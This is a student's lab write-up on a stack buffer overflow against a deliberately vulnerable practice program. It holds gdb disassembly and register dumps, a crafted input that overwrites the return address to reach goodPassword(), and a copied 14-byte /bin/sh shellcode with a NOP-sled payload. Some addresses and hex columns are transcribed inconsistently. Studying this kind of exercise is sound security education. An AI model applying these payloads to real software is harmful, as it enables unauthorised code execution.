

Christopher Mayol

Lab 5- Buffer Overflow

```
root@kali:~/gdbinit# ./program
Enter password:
5
Wrong password.
lab04Modi
```

This program will never run the goodPassword() function because it's never called in main.

Running gdb on the program and disassemble main() and getPassword()

```
(gdb) disas main
Dump of assembler code for function main:
0x0000000004005fa <+0>: push    %rbp
0x0000000004005fb <+1>: mov     %rsp,%rbp
0x0000000004005fe <+4>: sub     $0x10,%rsp
0x000000000400602 <+8>: movl    $0x2,0x2004e8(%rip) # 0x500af4 <ad
min>
0x00000000040060c <+18>: mov     $0x5,%edi
0x000000000400611 <+23>: callq   0x400596 <getPassword>
0x000000000400616 <+28>: mov     %eax,-0x4(%rbp)
0x000000000400619 <+31>: cmpl    $0xa,-0x4(%rbp)
0x00000000040061d <+35>: jne     0x400629 <main+47>
0x00000000040061f <+37>: mov     $0x0,%eax
0x000000000400624 <+42>: callq   0x4005c4 <badPassword>
0x000000000400629 <+47>: mov     $0x0,%eax
0x00000000040062e <+52>: leaveq   %eax
0x00000000040062f <+53>: retq
End of assembler dump.
(gdb)

Dump of assembler code for function getPassword:
0x000000000400596 <+0>: push    %rbp
0x000000000400597 <+1>: mov     %rsp,%rbp
0x00000000040059a <+4>: sub     $0x20,%rsp
0x00000000040059e <+8>: mov     %edi,-0x14(%rbp)
0x0000000004005a1 <+11>: mov     $0x4006b8,%edi
0x0000000004005a6 <+16>: callq   0x400460 <puts@plt>
0x0000000004005ab <+21>: lea     -0x10(%rbp),%rax
0x0000000004005af <+25>: mov     %rax,%rdi
0x0000000004005b2 <+28>: mov     $0x0,%eax
0x0000000004005b7 <+33>: callq   0x400480 <gets@plt>
0x0000000004005bc <+38>: mov     -0x14(%rbp),%eax
0x0000000004005bf <+41>: add     $0x5,%eax
0x0000000004005c2 <+44>: leaveq   %eax
0x0000000004005c3 <+45>: retq
End of assembler dump.
```

In order to call the goodPassword() function we need to manually call it ourselves via an buffer overflow attack on the vulnerable gets() function being called from getPassword().

```
(gdb) disas goodPassword
Dump of assembler code for function goodPassword:
0x0000000004005dc <+0>: push    %rbp
0x0000000004005dd <+1>: mov     %rsp,%rbp
0x0000000004005e0 <+4>: mov     0x20050e(%rip),%eax
min>
0x0000000004005e6 <+10>: mov     %eax,%esi
0x0000000004005e8 <+12>: mov     $0x4006e0,%edi
0x0000000004005ed <+17>: mov     $0x0,%eax
0x0000000004005f2 <+22>: callq   0x400470 <printf@plt>
0x0000000004005f7 <+27>: nop
0x0000000004005f8 <+28>: pop     %rbp
0x0000000004005f9 <+29>: retq
End of assembler dump.
(gdb)
```

```
int getPassword(int x){
    char buf[14];
    puts("Enter password: \n");
    gets(buf);
    return (x+5);
}
```

Disassembling goodPassword() we find the address to the function 0x4005dc we would need this address to redirect the returning function to the function we want goodPassword().

We know from the code that the buffer size is 14 bytes + callers EBP/RBP + the return address.

Malicious overflow input:

```
overFlow x
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAAAAA.
00000011 E3 FF FF FF 7F 00 00 DC 05 40 00 00 .....@..
```

We write the buffer + the caller EBP address and finally most importantly we write the address of the goodPassword() in little endian for the return address.

No Overflow

```
Breakpoint 2, getPassword (x=5) at lab05_prog.c:12
12      }
(gdb) s
main () at lab05_prog.c:27
27      if (x==10){
(gdb) i r
rax      0xa      10
rbx      0x0      0
rcx      0xfbad2288 4222427784
rdx      0x7ffffdd5770 140737351866224
rsi      0x73697268 1936290408
rdi      0x7fffffe2f1 140737488347889
rbp      0x7fffffe320 0x7fffffe320
rsp      0x7fffffe310 0x7fffffe310
r8       0x601426 6296614
r9       0x0      0
r10      0x55      85
r11      0x246     582
r12      0x4004a0 4195488
r13      0x7fffffe400 140737488348160
r14      0x0      0
r15      0x0      0
rip      0x400619 0x400619 <main+31>
eflags   0x206    [ PF IF ]
cs       0x33     51
ss       0x2b     43
ds       0x0      0
es       0x0      0
fs       0x0      0
gs       0x0      0
(gdb)
```

Buffer Overflow

```
Breakpoint 2, getPassword (x=5) at lab05_prog.c:12
12      }
(gdb) s
goodPassword () at lab05_prog.c:19
19      void goodPassword(){
(gdb) i r
rax      0xa      10
rbx      0x0      0
rcx      0xfbad2098 4222427288
rdx      0x7ffffdd5770 140737351866224
rsi      0x601420 6296608
rdi      0x0      0
rbp      0x7fffffe300 0x7fffffe300
rsp      0x7fffffe310 0x7fffffe310
r8       0x0      0
r9       0x0      0
r10      0x55      85
r11      0x246     582
r12      0x4004a0 4195488
r13      0x7fffffe400 140737488348160
r14      0x0      0
r15      0x0      0
rip      0x4005dc 0x4005dc <goodPassword>
eflags   0x206    [ PF IF ]
cs       0x33     51
ss       0x2b     43
ds       0x0      0
es       0x0      0
fs       0x0      0
gs       0x0      0
(gdb)
```

We set a break point on the return call of the getPassword() func.

We should expect control to return back to Main() without overflow which it does EIP/RIP next instruction is back in main+31.

The one on the right we call run the program with the file malicious input file “run < overflow” and we see that instead of getPassword() returning control to main it instead goes to goodPassword(). The EIP/RIP register is overflowed to the address of goodPassword().

Running the Program:

```
(gdb) run < overFlow
Starting program: /root/gdbinit/program < overFlow
Enter password:

Welcome! You have admin 2 privilages.

Program received signal SIGSEGV, Segmentation fault.
0x000007fffffe400 in ?? ()
(gdb)
```

Q1) How can you change the program to prevent buffer overflows?

The best thing you can do is use the secure versions of strcpy, gets, malloc, etc.

Extra Credit: Spawn a shell

In order to spawn a local shell we need the payload to be 14bytes or less because our buffer in our program is only 14 bytes if its longer the buffer overflow will fail to spawn the shell.

Doing some research we get....

EXPLOIT DATABASE

HomeExploitsShellcodePa

EDB-ID: 13675	Author: Magnefikko	Published: 2010-04-17
CVE: N/A	Type: Shellcode	Platform: Lin_x86
E-DB Verified:	Shellcode: Download / View Raw	Shellcode Size: 14 bytes

[« Previous Exploit](#)

```
1  #include <stdio.h>
2  #include <string.h>
3
4  /*
5   by Magnefikko
6   17.04.2010
7   magnefikko@gmail.com
8   Promhyl Studies :: http://promhyl.oz.pl
9   Subgroup: #Prekamb
10  Name: 14 bytes execve("a->/bin/sh") local-only shellcode
11  Platform: Linux x86
12
13  execve("a", 0, 0);
14
15  $ ln -s /bin/sh a
16  $ gcc -m32 -z,execstack filename.c
17  $ ./a.out
18
19  Link is required.
20
21  shellcode:
22
23  \x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
24
25  */
26
27  int main(){
28  char shell[] = "\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
29  printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\nstrlen(shell)
30  = %d\n", strlen(shell));
31  (*(void (*)(void)) shell)();
32
```

Perfect exactly 14bytes long!

`\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80`

00000000	90 90 31 C0 50 6A 61 89 E3 99 50 B0 0B 59 CD 80 00	..1.Pja...P..Y...
00000011	E3 FF FF FF 7F 00 00 DC 05 40 00 00@..

First 2bytes are a nopsled +payload for the shell +ebp/rbp +return address

We need to point the return address to the buffer address which will slide to the payload address.

```
(gdb) print& buf
$1 = (char (*)[14]) 0x7fffffffef2f0
```

00000000	90 90 31 C0 50 6A 61 89 E3 99 50 B0 0B 59 CD 80 F0	..1.Pja...P..Y_...
00000011	E2 FF FF FF 7F 00 00 F0 E2 FF FF FF 7F

